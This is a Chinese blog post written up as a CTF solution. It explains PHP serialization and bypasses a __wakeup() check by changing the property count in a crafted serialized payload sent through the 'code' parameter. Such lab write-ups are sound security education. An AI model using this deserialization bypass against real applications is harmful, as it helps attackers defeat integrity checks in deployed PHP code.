Loading

记录一次CTF解题PHP反序列化

PHP反序列化

序列化通俗来讲就是将对象转化为可以存储、传输的字符串,反序列化就是把那串字符串再变回对象。

例如:

<?php
class chybate {
    var $test = '123456';
}
$cless1 = new chybate;

// 序列化
$cless1_ser = serialize($cless1);
echo $cless1_ser . '\n';

// 反序列化
$cless1_user = unserialize($cless1_ser);
print_r($cless1_user);
?>
O:7:"chybate":1:{s:4:"test";s:6:"123456";}
chybate Object
(
    [test] => 123456
)

这里序列化结果中的O就是object对象的意思,数字7代表着对象的函数名长度为7,然后就是对象名"chybate",然后这个数字 1表示对象有一个变量,大括号里的s代表的是string类型,如果是一个i是int型,4表示变量名的长度,后面接着就是变量的值。

题目分析

题目给出了一个类xctf,其中包含一个变量 flag 和一个魔术函数 __wakeup(),用 code 接收一个序列化后的字符串。

image

分析给出的源码,其中魔法函数 __wakeup() 是一个突破点,它在反序列化的过程中会被调用。

serialize()unserialize() 函数对魔术方法 __wakeup() 的处理:

serialize() 函数序列化对象时,如果对象中定义了 __sleep() 方法,将会调用该方法来确定哪些属性需要被序列化。如果对象没有定义 __sleep() 方法,将会序列化对象的所有属性。

unserialize() 函数反序列化对象时,如果对象中定义了 __wakeup() 方法,将会在对象反序列化后调用该方法 __wakeup() 方法用于初始化反序列化后的对象状态,通常用于重新建立对象和其相关资源之间的联系。

__wakeup() 的一个绕过点:一个对象被序列化后,如果它的属性被修改,那么它在反序列化的过程中则不会执行 __wakeup() 函数。

解题

解题思路就是,修改序列化后中的属性来绕过 __wakeup()。

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$c = new xctf;
print(serialize($c));
?>

xctf序列化:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

当被反序列化的字符串中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得 __wakeup() 函数失效。

构造payload: /?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";},这里将变量的个数改为2,属性个数发生变化,这样 __wakeup() 在初始化反序列化后的对象状态时就就会失效。

image

成功get flag!

总结

PHP反序列化漏洞原理就是,在反序列化该对象时触发魔术方法从而执行命令或代码。

PHP序列化需注意以下几点:

  • 序列化只序列属性,不序列方法。

  • 能控制的只有类的属性,攻击就是寻找合适能被控制的属性,利用作用域本身存在的方法,基于属性发起攻击。


若有错误,欢迎指正!o( ̄▽ ̄)ブ

posted @ 2024-04-18 11:37  smileleooo  阅读(51)  评论(0编辑  收藏  举报